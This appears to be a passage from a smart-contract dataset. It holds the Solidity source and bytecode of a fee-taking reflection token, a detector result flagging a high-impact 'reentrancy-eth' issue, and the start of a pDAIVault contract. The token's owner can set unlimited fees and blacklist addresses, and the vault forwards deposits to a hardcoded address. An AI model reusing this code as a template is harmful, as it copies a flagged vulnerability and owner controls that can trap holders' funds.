if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610545578063dd62ed3e1461055b578063ea1644d5146105a1578063f2fde38b146105c157600080fd5b8063a9059cbb146104c0578063bfd79284146104e0578063c3c8cd8014610510578063c492f0461461052557600080fd5b80638f9a55c0116100d15780638f9a55c01461043e57806395d89b411461045457806398a5c31514610480578063a2a957bb146104a057600080fd5b80637d1db4a5146103ea5780638da5cb5b146104005780638f70ccf71461041e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b82565b6105e1565b005b34801561020a57600080fd5b506040805180820190915260088152674c61737454616d6160c01b60208201525b6040516102389190611cac565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611ad8565b61068e565b6040519015158152602001610238565b34801561027d57600080fd5b50601554610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611a98565b6106a5565b3480156102fa57600080fd5b506102c060195481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601654610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611a28565b61070e565b34801561036c57600080fd5b506101fc61037b366004611c49565b610759565b34801561038c57600080fd5b506101fc6107a1565b3480156103a157600080fd5b506102c06103b0366004611a28565b6107ec565b3480156103c157600080fd5b506101fc61080e565b3480156103d657600080fd5b506101fc6103e5366004611c63565b610882565b3480156103f657600080fd5b506102c060175481565b34801561040c57600080fd5b506000546001600160a01b0316610291565b34801561042a57600080fd5b506101fc610439366004611c49565b6108b1565b34801561044a57600080fd5b506102c060185481565b34801561046057600080fd5b5060408051808201909152600381526213105560ea1b602082015261022b565b34801561048c57600080fd5b506101fc61049b366004611c63565b6108fd565b3480156104ac57600080fd5b506101fc6104bb366004611c7b565b61092c565b3480156104cc57600080fd5b506102616104db366004611ad8565b61096a565b3480156104ec57600080fd5b506102616104fb366004611a28565b60116020526000908152604090205460ff1681565b34801561051c57600080fd5b506101fc610977565b34801561053157600080fd5b506101fc610540366004611b03565b6109cb565b34801561055157600080fd5b506102c060085481565b34801561056757600080fd5b506102c0610576366004611a60565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ad57600080fd5b506101fc6105bc366004611c63565b610a7a565b3480156105cd57600080fd5b506101fc6105dc366004611a28565b610aa9565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161060b90611cff565b60405180910390fd5b60005b815181101561068a5760016011600084848151811061064657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068281611e12565b915050610617565b5050565b600061069b338484610b93565b5060015b92915050565b60006106b2848484610cb7565b61070484336106ff85604051806060016040528060288152602001611e6f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061126a565b610b93565b5060019392505050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161060b90611cff565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161060b90611cff565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d657506014546001600160a01b0316336001600160a01b0316145b6107df57600080fd5b476107e9816112a4565b50565b6001600160a01b03811660009081526002602052604081205461069f90611329565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161060b90611cff565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ac5760405162461bcd60e51b815260040161060b90611cff565b601755565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260040161060b90611cff565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161060b90611cff565b601955565b6000546001600160a01b031633146109565760405162461bcd60e51b815260040161060b90611cff565b600993909355600b91909155600a55600c55565b600061069b338484610cb7565b6013546001600160a01b0316336001600160a01b031614806109ac57506014546001600160a01b0316336001600160a01b0316145b6109b557600080fd5b60006109c0306107ec565b90506107e9816113ad565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161060b90611cff565b60005b82811015610a74578160056000868685818110610a2557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a3a9190611a28565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611e12565b9150506109f8565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161060b90611cff565b601855565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161060b90611cff565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b1561116357601654600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060b565b601754811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060b565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3857506001600160a01b03821660009081526011602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060b565b6008544311158015610faf57506016546001600160a01b038481169116145b8015610fc957506015546001600160a01b03838116911614155b8015610fde57506001600160a01b0382163014155b15611007576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461108c5760185481611029846107ec565b6110339190611da4565b1061108c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060b565b6000611097306107ec565b6019546017549192508210159082106110b05760175491505b8080156110c75750601654600160a81b900460ff16155b80156110e157506016546001600160a01b03868116911614155b80156110f65750601654600160b01b900460ff165b801561111b57506001600160a01b03851660009081526005602052604090205460ff16155b801561114057506001600160a01b03841660009081526005602052604090205460ff16155b156111605761114e826113ad565b47801561115e5761115e476112a4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a557506001600160a01b03831660009081526005602052604090205460ff165b806111d757506016546001600160a01b038581169116148015906111d757506016546001600160a01b03848116911614155b156111e45750600061125e565b6016546001600160a01b03858116911614801561120f57506015546001600160a01b03848116911614155b1561122157600954600d55600a54600e555b6016546001600160a01b03848116911614801561124c57506015546001600160a01b03858116911614155b1561125e57600b54600d55600c54600e555b610a7484848484611552565b6000818484111561128e5760405162461bcd60e51b815260040161060b9190611cac565b50600061129b8486611dfb565b95945050505050565b6013546001600160a01b03166108fc6112be836002611580565b6040518115909202916000818181858888f193505050501580156112e6573d6000803e3d6000fd5b506014546001600160a01b03166108fc611301836002611580565b6040518115909202916000818181858888f1935050505015801561068a573d6000803e3d6000fd5b60006006548211156113905760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060b565b600061139a6115c2565b90506113a68382611580565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145757600080fd5b505afa15801561146b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148f9190611a44565b816001815181106114b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114d69130911684610b93565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150f908590600090869030904290600401611d34565b600060405180830381600087803b15801561152957600080fd5b505af115801561153d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061155f5761155f6115e5565b61156a848484611613565b80610a7457610a74600f54600d55601054600e55565b60006113a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170a565b60008060006115cf611738565b90925090506115de8282611580565b9250505090565b600d541580156115f55750600e54155b156115fc57565b600d8054600f55600e805460105560009182905555565b60008060008060008061162587611778565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165790876117d5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116869086611817565b6001600160a01b0389166000908152600260205260409020556116a881611876565b6116b284836118c0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f791815260200190565b60405180910390a3505050505050505050565b6000818361172b5760405162461bcd60e51b815260040161060b9190611cac565b50600061129b8486611dbc565b6006546000908190670de0b6b3a76400006117538282611580565b82101561176f57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117958a600d54600e546118e4565b92509250925060006117a56115c2565b905060008060006117b88e878787611939565b919e509c509a509598509396509194505050505091939550919395565b60006113a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126a565b6000806118248385611da4565b9050838110156113a65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060b565b60006118806115c2565b9050600061188e8383611989565b306000908152600260205260409020549091506118ab9082611817565b30600090815260026020526040902055505050565b6006546118cd90836117d5565b6006556007546118dd9082611817565b6007555050565b60008080806118fe60646118f88989611989565b90611580565b9050600061191160646118f88a89611989565b90506000611929826119238b866117d5565b906117d5565b9992985090965090945050505050565b60008080806119488886611989565b905060006119568887611989565b905060006119648888611989565b905060006119768261192386866117d5565b939b939a50919850919650505050505050565b6000826119985750600061069f565b60006119a48385611ddc565b9050826119b18583611dbc565b146113a65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060b565b8035611a1381611e59565b919050565b80358015158114611a1357600080fd5b600060208284031215611a39578081fd5b81356113a681611e59565b600060208284031215611a55578081fd5b81516113a681611e59565b60008060408385031215611a72578081fd5b8235611a7d81611e59565b91506020830135611a8d81611e59565b809150509250929050565b600080600060608486031215611aac578081fd5b8335611ab781611e59565b92506020840135611ac781611e59565b929592945050506040919091013590565b60008060408385031215611aea578182fd5b8235611af581611e59565b946020939093013593505050565b600080600060408486031215611b17578283fd5b833567ffffffffffffffff80821115611b2e578485fd5b818601915086601f830112611b41578485fd5b813581811115611b4f578586fd5b8760208260051b8501011115611b63578586fd5b602092830195509350611b799186019050611a18565b90509250925092565b60006020808385031215611b94578182fd5b823567ffffffffffffffff80821115611bab578384fd5b818501915085601f830112611bbe578384fd5b813581811115611bd057611bd0611e43565b8060051b604051601f19603f83011681018181108582111715611bf557611bf5611e43565b604052828152858101935084860182860187018a1015611c13578788fd5b8795505b83861015611c3c57611c2881611a08565b855260019590950194938601938601611c17565b5098975050505050505050565b600060208284031215611c5a578081fd5b6113a682611a18565b600060208284031215611c74578081fd5b5035919050565b60008060008060808587031215611c90578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cd857858101830151858201604001528201611cbc565b81811115611ce95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d835784516001600160a01b031683529383019391830191600101611d5e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611db757611db7611e2d565b500190565b600082611dd757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611df657611df6611e2d565b500290565b600082821015611e0d57611e0d611e2d565b500390565b6000600019821415611e2657611e26611e2d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b19824465377c1165b9a8526dc8045471b9365ef58560229661a6299d998823964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
4,893
0xaf527e70898d8179d38b429f570327e296feaad3
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pDAIVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { mapping (address => uint256) amount; uint256 time; } IERC20 public token = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public governance; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount = 0; event Withdrawn(address indexed user, uint256 amount); constructor () public { governance = msg.sender; } function balance() public view returns (uint) { return token.balanceOf(address(this)); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); uint arrayLength = addressIndices.length; bool found = false; for (uint i = 0; i < arrayLength; i++) { if(addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 realAmount = _amount.mul(995).div(1000); uint256 feeAmount = _amount.mul(5).div(1000); address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC; address vaultAddress = 0x7c98EbAE323504Fa7F4A30024c9b7984C960B8b2; // Vault6 Address token.safeTransferFrom(msg.sender, feeAddress, feeAmount); token.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); } function reward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token.safeTransferFrom(msg.sender, address(this), _amount); uint arrayLength = addressIndices.length; for (uint i = 0; i < arrayLength; i++) { rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit)); _rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit); } _rewards[_rewardCount].time = block.timestamp; _rewardCount++; } function withdrawAll() external { withdraw(rewardBalances[msg.sender]); } function withdraw(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); require(_amount > 0, "can't withdraw 0"); uint256 availableWithdrawAmount = availableWithdraw(msg.sender); if (_amount > availableWithdrawAmount) { _amount = availableWithdrawAmount; } token.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableWithdraw(address owner) public view returns(uint256){ uint256 availableWithdrawAmount = rewardBalances[owner]; for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) { availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days)); if (i == 0) break; } return availableWithdrawAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a81526